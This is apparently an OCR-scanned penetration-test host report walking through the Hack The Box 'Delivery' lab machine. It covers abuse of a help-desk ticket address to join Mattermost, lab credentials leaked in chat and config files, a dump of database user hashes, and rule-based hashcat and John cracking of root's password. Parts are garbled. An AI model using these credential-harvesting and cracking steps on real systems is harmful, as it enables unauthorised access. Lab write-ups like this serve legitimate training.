1/17/22, 6:20 AM Host Report - PenTest. WS

Host Report
10.10.10.222 - Linux 4.15- 5.6

D Linux £ Server - Shelled - Owned

Host Notes:

maildeliverer@Delivery:~$ cat user.txt
221a30fc0945b545cdae244f3bcd5c39

root@Delivery:/home/maildeliverer# cat /root/root.txt
7a45d541ae205e66534b0b5821645888

Ports:
Port Proto Service Version Status
22 tcp ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) Owned
Port Notes:

SSH using maildeliverer:Youve_G0t_Mail!

( )~ [ ~/Desktop/HTB/Delivery |
—% ssh maildelivererpl@.10.10.222
The authenticity of host '10.10.10.222 (10.10.10.222)' can't be established.
ED25519 key fingerprint is SHA256:AGdhHNQ749stJakbrtXvi48e6KTkaMj/+QNYMW+tyj8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.222' (ED25519) to the list of known hosts.
maildeliverergl®.10.10.222's password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/x/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Tue Jan 5 06:09:50 2021 from 10.10.14.5
maildelivereraDelivery:~$ |}

maildeliverer@Delivery:~$ cat user.txt
221a30fc0945b545cdae244f3bcd5¢c39

Researching MatterMost, we discover this possible vector. https://docs.mattermost.com/configure/configuration-
settings.html
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Port Proto Service Version Status

osMinVersion

H
"SqglSettings": {
"DriverName": "mysql"”,
"DataSource": "mmuser:Crack_The_ MM_Admin_PWatcp(127.0.0.1:3306)/mattermost?charset utf8\u@026readTim
eout=30s\u@026writeTimeout=30s"
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],

"MaxIdleConns"

"ConnMaxLifetimeMilliseconds": 3600000,

MaxOpenConns'

"Trace": false,

"AtRestEncryptKey": "n5uax3d4f919obtsplpwlk5xetqlenez”,
"QueryTimeout": 30,

"DisableDatabaseSearc false

mysql -u mmuser -p

Password: Crack_The_MM_Admin_PW
use mattermost;

select * from Users;

—
| Id | CreateAt | UpdateAt | DeleteAt | Username | Password | AuthData | AuthService | Email | Emailve
rified | Nickname | FirstName | LastName | Position | Rol, | AllowMarketing | Props | NotifyProps

rdupdate | LastPictureUpdate | FailedAttempts | Locale | Timezone | MfaActive | MfaSecre

—
| 64nq8nue7pyhpgun99adsomuya | 1608992663714 | 160899266373 reybot | NULL |

0| | } gl eskt ion", "desktop_sound
1608992663731 | e e m eAutomaticTimezone

acacc7b94f909do4dbfd Sa?b‘l: \ &m%mmssnsm
| ol "chann
0| L\ I en

| 6wkx1ggn63r7f8qlhpzp7thiiy | 1609844806814 3 85171bb34762a933127630c | $2a$10$3moquq R1gFcC DGPS/G | NULL 1
o | | s er | ol {} | {"channel" ve: desk mention”, "desktop_soun:
"push”:"mention", "p a 0l en | 2 e useAutomaticTimezone

qp3mpeuja | 1642416260443 | 16 0443 e 77hw ZuD/SW | NULL
| | " "o

0 | root ymRX r8Dtev 4.45cG.anuu7vOEFJwgjjo | NULL
| system_admin system_user | { es
mention","push_status":"away"} | 1609157893370 | 0|

7ny | 1609844805777 | 1609844805777 | 0 | ffoa21fc6fc2488195e16ea854
| | system_ I
1609844805777 | | e Z U useAutomaticTimezone

| ngSxmejdhudr)dwbw&krdv | 160899 0 | channelexport | NULL | lexport@localhost
01l \ (Channel Export Bot | I {} I {"channel":"true v r*,"desktop”:"mention”, "desktop_sound":"true”, "email”:"true","first_nam
i 6 0| en | {"automaticTimezone nualTimezone ,"useAutomaticTimezone I

\ $2a$10$s . cLPSJAVEaWGOIWB7vrqenPg2l CRtjwlahOzHFq1CoFyFqm | NULL |
| {} | {"chann tru v deskt mention”, "desktop_soun
0| en I {

| $7a$1o$mue Wh1Dt!
; 0

"push”: "mention”, "push_status”:"awa 01 en I { s

9 rows in set (0.000 sec)

This is the only one that matters! | 0| root [
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev00.1STWb4.4ScG.anuu7vOEFJwgjjO | NULL | | root@delivery.htb
In the internals channel there was mention of not using PleaseSubscribe! variants. It is simple to attempt multiple
variants using:

echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout

That creates a wordlist we can use in John the Ripper.
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Port Proto Service Version Status

)-[~/Desktop/HTB/Delivery |
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X31)
Cost 1 (iteration count) 1s 1824 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ple scribel21 (?)
1g 00:00 DONE (2022-01-17 07:01) 2.631g/s 189.4p/s 189.4c/s 189.4C/s PleaseSubscribe! .. PlesPles
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

maildelivereraDelivery:~$ su root
Password:
rootgDelivery:/home/maildeliverer# whoami
root
root@Delivery:/home/maildeliverer# hostname
Delivery
rootaDelivery:/home/maildeliverer# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc mq state UP group default qlen 1000
link/ether @0:50:56:b9:af:ee brd ff:ff:ff:ff:ff:ff
inet 10.10.10.222/24 brd 10.10.10.255 scope global ens192
valid_1ft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:afee/64 scope link
valid_1ft forever preferred_lft forever
root@Delivery:/home/maildeliverer#f cat /root/root.txt
7a45d541ae205e66534b0b5821645888
root@Delivery:/home/maildeliverert [j

root@Delivery:/home/maildeliverer# cat /root/root.txt
7a45d541ae205e66534b0b5821645888

53 udp domain

67 udp dhcps

68 udp dhcpe

69 udp tftp

80 tcp http nginx 1.14.2 Owned
Port Notes:

http://10.10.10.222 provides us a landing page with 2 links. Contact Us and HelpDesk. Go for HelpDesk first.
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Port Proto Service Version Status

Welcome

= C @ O A 101010222

KaliLinux @ KaliTools ¢ KaliDocs X Kali Ferums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

MAIL RELAT

Hitting the HelpDesk link wants to take us to http://helpdesk.delivery.htb. Add 10.10.10.222 delivery.htb
helpdesk.delivery.htb to the /etc/hosts file and the page will render.

P delivery

¢« O & helpdesk.delivery.htb

KaliLinux #& KaliTools # KaliDocs & Kali Forums % Kali NetHunter Exploit-DB Google Hacking DB

SUPPORT CENTER Guest User | Sign In

Support Ticket System

£ Support Center Home |4 Open a New Ticket |} Check Ticket Status

Open a New Ticket

Welcome to the Support Center

In order to streamline support requests and betier serve you, we uiilize a support ticket

system. Every support reguest is assigned a unigue ticket number which you can use
to track the progress and responses online. For your reference we provide complete
archives and history of all your support requests. A valid email address is required to
submit a ticket.

Copyright £ 2022 delivery - All rights reserved.
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Port Proto Service Version Status

From here, we can create a ticket with dummy information, if successful, we will get an @dilivery.htb email address
that we can use to register for the link on the Contact Us Page.
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Port Proto Service Version Status
SUPPORT CENTER Guest User | Sign In
Support Ticket System

{2 Support Center Home [} Open a New Ticket [ Check Ticket Status

Open a New Ticket

Please fill in the form below to open a new ticket.

Contact Information

Email Address *
'neocount@delivery.htb \

Full Name *
'Neocount \

Phone Number

19999999999 | Ext: |
Help Topic
| Contact Us v |*

Ticket Details
Please Describe Your Issue

Issue Summary *

|Contact Us \
;<>‘ITAaB:‘g€rEEE)EEC-D—

Testing reg link]

unsaved I
® Drop files here or choose them
CAPTCHA Text: 37902 | | Enter the text shown on

the image. *

| Create Ticket || Reset || Cancel |

Copyright © 2022 delivery - All rights reserved.
poweEred by ’%kﬂt
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Port Proto Service Version Status

SUPPORT CENTER Guest User | Sign In

Support Ticket System

4zt Support Center Home ) Open a New Ticket | Check Ticket Status

) Support ticket request created

Neocount,

You may check the status of your ticket, by navigating to the Check Status page using ticket id: 9916822.
If you want to add more information to your ticket, just email 9916822@delivery.htb.
Thanks,

Support Team

Copyright © 2022 delivery - All rights reserved.
osTicket

Now we need to check the status of the ticket, register for the MatterMost link on the Contact Us page and then
recheck the ticket status.
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Port Proto Service Version Status
SUPPORT CENTER SESEE S
Support Ticket System
£ Support Center Home .} Open a New Ticket || View Ticket Thread

@ Looking for your other tickets?
Sign In or register for an account for the best experience on our help desk.

2 Contact Us #9916822 Srnt) (ZEdU
Basic Ticket Information User Information

Ticket Status: Open Name: Neocount

Department:  Support Email: neocount@delivery.htb

Create Date:  1/17/22 5:50 AM Phone: (999) 999-9999

Neocount posted 1/17/22 5:50 AM

Testing reg link

# Created by Neocount 1/17/22 5:50 AM

Post a Reply

To best assist you, we request that you be specific and detailed *

<> 1 Aa B I u s = O = o —

r choose them

Post Reply || Reset | Cancel |

Copyright @ 2022 delivery - All rights reserved.
osTicket

And After, when MatterMost sends the registration confirmation email to the generated address from your ticket.

Copying the Validation Link : http://delivery.htb:8065/do_verify_email?
token=naay75cky4ahmax8zrotpfwuh4omtpp7uy7wwcednpztngoy518u99r756ajdgbd&email=9916822%40delivery.htb
into a new tab, will validate your address and allow to log into MatterMost and allow us to view the Internal Team's
chat chanell.
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Port Proto Service Version Status

PUBLIC CH. s +
@ Internal

PRIVATE CH +
DIRE! +

Welcome to:
Mattermost

Your team communication all In one place,
Instantly searchable and avallable anywhere.

Keep your team connected to help them
achieve what matters most.

Beginning of Internal
Welcome to Internal!
Post messages here that you want everyone to see. Everyone automatically becomes a permanent member of this channel when they join the team.

&+ Invite others to this team ¢ Set a Header

December 26, 2020

@root joined the team.

System 9:28 AM
@root updated the channel display name from: Town Square to: Internal

@ System 9:25 AM
O

@ root 9:29 AM
O

@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_GOt_Mail!

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
(edited)

@ root 10:58 AM
@)

PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.
(edited)

(‘) System 5:54 AV

You joined the team.

Today

From here, we can SSH as maildeliverer:Youve_GO0t_Mail!
123 udp ntp

135 udp msrpc

137 udp netbios-ns

138 udp netbios-dgm
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Port Proto
139 udp
161 udp
162 udp
445 udp
500 udp
514 udp
520 udp
631 udp
1434 udp
1900 udp
4500 udp
8065 tcp
49152 udp
Credentials:
Service

mysql/mariadb
SSH

Su

Service
netbios-ssn
snmp
snmptrap
microsoft-ds
isakmp
syslog
route

ipp
ms-sql-m
upnp
nat-t-ike
unknown

unknown

Username
mmuser
maildeliverer

root

https://pentest.ws/print/host/Z6 G5BqgJo
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Version

Password

Crack_The_MM_Admin_PW

Youve_GOt_Mail!

PleaseSubscribe!21

Full Name

Status

Hash
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